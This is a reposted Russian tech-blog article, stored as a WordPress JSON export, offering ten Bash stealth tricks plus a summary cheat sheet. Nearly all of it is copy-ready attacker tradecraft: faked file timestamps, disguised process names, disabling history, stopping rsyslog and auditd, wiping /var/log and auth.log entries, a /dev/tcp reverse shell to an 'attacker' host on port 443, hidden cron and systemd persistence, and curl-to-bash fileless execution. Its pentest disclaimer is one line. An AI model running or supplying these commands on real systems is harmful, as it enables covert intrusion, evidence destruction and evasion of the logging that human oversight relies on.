{"id":472830,"date":"2025-09-01T09:00:34","date_gmt":"2025-09-01T09:00:34","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=472830"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=472830","title":{"rendered":"<span>\u0418\u0441\u043a\u0443\u0441\u0441\u0442\u0432\u043e \u0431\u044b\u0442\u044c \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c: 10 \u043f\u0440\u0438\u0451\u043c\u043e\u0432 Bash \u0434\u043b\u044f \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u0438<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043c\u0438\u0440\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u0437\u0430\u043b\u0435\u0437\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c\u00bb, \u043d\u043e \u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b. \u041d\u0438\u0436\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u044b \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0447\u0442\u043e\u0431\u044b \u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c. \u0412\u0441\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432. \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e \u0432\u0441\u0435\u043c \u0438\u0437\u0443\u0447\u0438\u0442\u044c \u0438 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 &#8230;<\/p>\n<h3>1. \u041f\u043e\u0434\u0434\u0435\u043b\u043a\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/h3>\n<p>\u0424\u0430\u0439\u043b\u044b \u043c\u043e\u0436\u043d\u043e \u00ab\u0441\u043e\u0441\u0442\u0430\u0440\u0438\u0442\u044c\u00bb \u0438\u043b\u0438 \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435.<\/p>\n<pre><code>touch -r \/bin\/ls test.sh   # \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u0443 ls touch -t 202001011200.00 test.sh   # \u0432\u0440\u0435\u043c\u044f \u00ab\u0438\u0437 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u00bb<\/code><\/pre>\n<p>\u0422\u0430\u043a \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u044f\u0442\u044c\u0441\u044f \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043d\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<h3>2. \u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432<\/h3>\n<p>\u0412 Linux \u043b\u044e\u0431\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437\u00a0ps. \u041d\u043e \u0438 \u0442\u0443\u0442 \u0435\u0441\u0442\u044c \u0442\u0440\u044e\u043a\u0438:<\/p>\n<pre><code>exec -a \"[kworker\/0:1H]\" .\/script.sh<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u00ab\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\u00bb.<\/p>\n<p>\u0410 \u0435\u0449\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043c\u044f \u0447\u0435\u0440\u0435\u0437\u00a0\/proc:<\/p>\n<pre><code>echo \"httpd\" &gt; \/proc\/$$\/comm<\/code><\/pre>\n<h3>3. \u0420\u0430\u0431\u043e\u0442\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 Bash<\/h3>\n<p>\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0447\u0430\u0441\u0442\u043e \u0432\u044b\u0434\u0430\u0451\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0435\u0451:<\/p>\n<pre><code>HISTFILE=\/dev\/null unset HISTFILE set +o history<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0432 \u043a\u043e\u043d\u0446\u0435:<\/p>\n<pre><code>history -c &amp;&amp; history -w<\/code><\/pre>\n<h3>4. \u041e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f<\/h3>\n<p>\u0418\u043d\u043e\u0433\u0434\u0430 \u043f\u0440\u043e\u0449\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043b\u043e\u0433\u0438:<\/p>\n<pre><code>service rsyslog stop    # \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 syslog auditctl -e 0           # \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0430\u0443\u0434\u0438\u0442\u0430<\/code><\/pre>\n<p>\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445 \u0442\u0430\u043a\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0437\u0430\u043c\u0435\u0442\u043d\u044b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e.<\/p>\n<h3>5. \u0410\u043b\u0438\u0430\u0441\u044b \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438<\/h3>\n<p>\u0410\u043b\u0438\u0430\u0441\u044b \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u00ab\u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0442\u044c\u00bb \u043a\u043e\u043c\u0430\u043d\u0434\u044b.<\/p>\n<pre><code>alias ls='ls --color=auto --hide=payload.sh'<\/code><\/pre>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0442\u0432\u043e\u0439 \u0444\u0430\u0439\u043b \u043d\u0435 \u0432\u0438\u0434\u043d\u043e \u043f\u0440\u0438 \u043e\u0431\u044b\u0447\u043d\u043e\u043c\u00a0ls.<\/p>\n<p>\u0410 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0430\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438 \u0441\u043b\u0435\u0434\u043e\u0432:<\/p>\n<pre><code>alias vanish='rm -rf ~\/.bash_history \/var\/log\/*'<\/code><\/pre>\n<h3>6. \u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/h3>\n<p>\u0424\u0430\u0439\u043b\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0441 \u0442\u043e\u0447\u043a\u0438, \u043d\u0435 \u0432\u0438\u0434\u043d\u044b \u0431\u0435\u0437\u00a0ls -a:<\/p>\n<pre><code>mv payload.sh .payload.sh<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0438\u0441:<\/p>\n<pre><code>mv script.sh systemd-update.sh<\/code><\/pre>\n<h3>7. \u0421\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0442\u0440\u0430\u0444\u0438\u043a<\/h3>\n<p>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0448\u0435\u043b\u043b\u044b \u0447\u0430\u0441\u0442\u043e \u043f\u0430\u043b\u044f\u0442\u0441\u044f \u043f\u043e \u00ab\u043b\u0435\u0432\u044b\u043c\u00bb \u043f\u043e\u0440\u0442\u0430\u043c. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u2014 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0435:<\/p>\n<pre><code>bash -i &gt;&amp; \/dev\/tcp\/attacker\/443 0&gt;&amp;1<\/code><\/pre>\n<p>443 \u2014 \u043f\u043e\u0440\u0442 HTTPS, \u0438 \u0432 \u043b\u043e\u0433\u0430\u0445 \u043e\u043d \u043d\u0435 \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0439.<\/p>\n<h3>8. \u0427\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432<\/h3>\n<p>\u0423\u0434\u0430\u043b\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u0441\u0435\u0431\u0435 \u043c\u043e\u0436\u043d\u043e \u0442\u0430\u043a:<\/p>\n<pre><code>&gt; \/var\/log\/auth.log sed -i '\/username\/d' \/var\/log\/auth.log<\/code><\/pre>\n<p>\u041d\u043e \u0440\u0435\u0437\u043a\u0430\u044f \u00ab\u0447\u0438\u0441\u0442\u043e\u0442\u0430\u00bb \u043b\u043e\u0433\u043e\u0432 \u0438\u043d\u043e\u0433\u0434\u0430 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0435\u0435, \u0447\u0435\u043c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u043b\u0435\u0434\u044b.<\/p>\n<h3>9. \u0421\u043a\u0440\u044b\u0442\u0430\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043a\u0430<\/h3>\n<p>\u041d\u0443\u0436\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f \u00ab\u043d\u0430 \u043f\u043e\u0442\u043e\u043c\u00bb? \u041c\u043e\u0436\u043d\u043e \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 cron:<\/p>\n<pre><code>(crontab -l ; echo \"*\/5 * * * * \/usr\/local\/bin\/.sys-update.sh\") | crontab -<\/code><\/pre>\n<p>\u0418\u043b\u0438 \u043e\u0444\u043e\u0440\u043c\u0438\u0442\u044c \u043f\u043e\u0434 systemd-\u0441\u0435\u0440\u0432\u0438\u0441.<\/p>\n<h3>10. \u0421\u043a\u0440\u0438\u043f\u0442\u044b \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432<\/h3>\n<p>\u041c\u043e\u0436\u043d\u043e \u0434\u0430\u0436\u0435 \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b, \u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0445 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e:<\/p>\n<pre><code>curl http:\/\/site\/payload.sh | bash<\/code><\/pre>\n<p>\u0422\u0430\u043a \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0451\u0442 \u043d\u0430 \u0434\u0438\u0441\u043a. \u0410 \u0435\u0441\u043b\u0438 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u2014 \u043b\u0443\u0447\u0448\u0435 \u0432\u00a0\/dev\/shm\u00a0\u0438\u043b\u0438\u00a0\/tmp, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0447\u0438\u0449\u0430\u044e\u0442\u0441\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435.<\/p>\n<p>\u0421\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c \u2014 \u044d\u0442\u043e \u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0430 \u0443\u0441\u043f\u0435\u0445\u0430. \u041c\u043e\u0436\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443, \u043d\u043e \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u043d\u0443\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u044b, \u0442\u0435\u0431\u044f \u043b\u0435\u0433\u043a\u043e \u043d\u0430\u0439\u0434\u0443\u0442. \u042d\u0442\u0438 \u043f\u0440\u0438\u0451\u043c\u044b \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442 \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0438\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435, \u0438 \u043a\u0430\u043a \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043e\u0442 \u043d\u0438\u0445.<\/p>\n<p><strong>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 <\/strong><\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">\u0428\u043f\u0430\u0440\u0433\u0430\u043b\u043a\u0430<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<th>\n<p><strong>\u041f\u0440\u0438\u0451\u043c<\/strong><\/p>\n<\/th>\n<th>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u043c\u0430\u043d\u0434\u044b<\/strong><\/p>\n<\/th>\n<th>\n<p><strong>\u0427\u0442\u043e \u044d\u0442\u043e \u0434\u0430\u0451\u0442<\/strong><\/p>\n<\/th>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041f\u043e\u0434\u0434\u0435\u043b\u043a\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0444\u0430\u0439\u043b\u043e\u0432<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">touch -r \/bin\/ls <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442 \u0444\u0430\u0439\u043b \u043f\u043e\u0434 \u0441\u0442\u0430\u0440\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0424\u0430\u043b\u044c\u0448\u0438\u0432\u043e\u0435 \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">exec -a &#171;[kworker\/0:1H]&#187; .\/<a href=\"http:\/\/evil.sh\" rel=\"noopener noreferrer nofollow\">evil.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u00a0ps\u00a0\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0418\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u0438 \u0432 \/proc<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">echo &#171;httpd&#187; &gt; \/proc\/$$\/comm<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u0438\u043f\u0442 \u00ab\u043f\u0440\u0438\u0442\u0432\u043e\u0440\u044f\u0435\u0442\u0441\u044f\u00bb \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044e Bash<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">HISTFILE=\/dev\/null; set +o history<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0435 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u00a0~\/.bash_history<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0447\u0438\u0441\u0442\u0438\u0442\u044c \u0438\u0441\u0442\u043e\u0440\u0438\u044e<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">history -c &amp;&amp; history -w<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u0442\u0438\u0440\u0430\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">service rsyslog stop<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u043b\u043e\u0433\u043e\u0432<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">auditctl -e 0<\/p>\n<\/td>\n<td>\n<p align=\"left\">Linux Audit System \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u043f\u0438\u0441\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0410\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">alias ls=&#8217;ls &#8212;hide=<a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a>&#8216;<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0444\u0430\u0439\u043b \u0438\u0437 \u0432\u044b\u0432\u043e\u0434\u0430\u00a0ls<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0410\u043b\u0438\u0430\u0441 \u0434\u043b\u044f \u043e\u0447\u0438\u0441\u0442\u043a\u0438<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">alias vanish=&#8217;rm -rf ~\/.bash_history \/var\/log\/*&#8217;<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0423\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0441\u0442\u043e\u0440\u0438\u044e \u0438 \u043b\u043e\u0433\u0438<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0421\u043a\u0440\u044b\u0442\u044b\u0435 \u0444\u0430\u0439\u043b\u044b<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">mv <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a> .<a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u041d\u0435 \u0432\u0438\u0434\u0435\u043d \u0431\u0435\u0437\u00a0ls -a<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u043f\u043e\u0434 \u0441\u0435\u0440\u0432\u0438\u0441<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">mv <a href=\"http:\/\/hack.sh\" rel=\"noopener noreferrer nofollow\">hack.sh<\/a> <a href=\"http:\/\/systemd-update.sh\" rel=\"noopener noreferrer nofollow\">systemd-update.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043d\u0430 443 \u043f\u043e\u0440\u0442\u0443<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">bash -i &gt;&amp; \/dev\/tcp\/ip\/443 0&gt;&amp;1<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0422\u0440\u0430\u0444\u0438\u043a \u00ab\u043f\u0440\u044f\u0447\u0435\u0442\u0441\u044f\u00bb \u043f\u043e\u0434 HTTPS<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041e\u0447\u0438\u0441\u0442\u043a\u0430 \u043b\u043e\u0433\u043e\u0432<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">sed -i &#8216;\/user\/d&#8217; \/var\/log\/auth.log<\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0423\u0434\u0430\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u041a\u0440\u043e\u043d-\u0431\u044d\u043a\u0434\u043e\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">`(crontab -l; echo \u201c*\/5 * * * * \/usr\/local\/bin\/.<a href=\"http:\/\/sys.sh\" rel=\"noopener noreferrer nofollow\">sys.sh<\/a>\u201d)<\/p>\n<\/td>\n<td>\n<p align=\"left\">crontab -`<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>Systemd-\u0431\u044d\u043a\u0434\u043e\u0440<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">ExecStart=\/usr\/local\/bin\/.<a href=\"http:\/\/update.sh\" rel=\"noopener noreferrer nofollow\">update.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">\u0421\u043a\u0440\u0438\u043f\u0442 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u0434 \u0441\u043b\u0443\u0436\u0431\u0443<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\"><strong>\u0417\u0430\u043f\u0443\u0441\u043a \u0431\u0435\u0437 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\">`curl <a href=\"http:\/\/x\/payload.sh\" rel=\"noopener noreferrer nofollow\">http:\/\/x\/payload.sh<\/a><\/p>\n<\/td>\n<td>\n<p align=\"left\">bash`<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/942668\/\"> https:\/\/habr.com\/ru\/articles\/942668\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043c\u0438\u0440\u0435 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432\u0430\u0436\u043d\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u00ab\u0437\u0430\u043b\u0435\u0437\u0442\u044c \u0432\u043d\u0443\u0442\u0440\u044c\u00bb, \u043d\u043e \u0438 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u044d\u0442\u043e \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u043b. \u041d\u0438\u0436\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u044b \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u044b \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0447\u0442\u043e\u0431\u044b \u0438\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0431\u044b\u043b\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u0438\u0442\u044c. \u0412\u0441\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432. 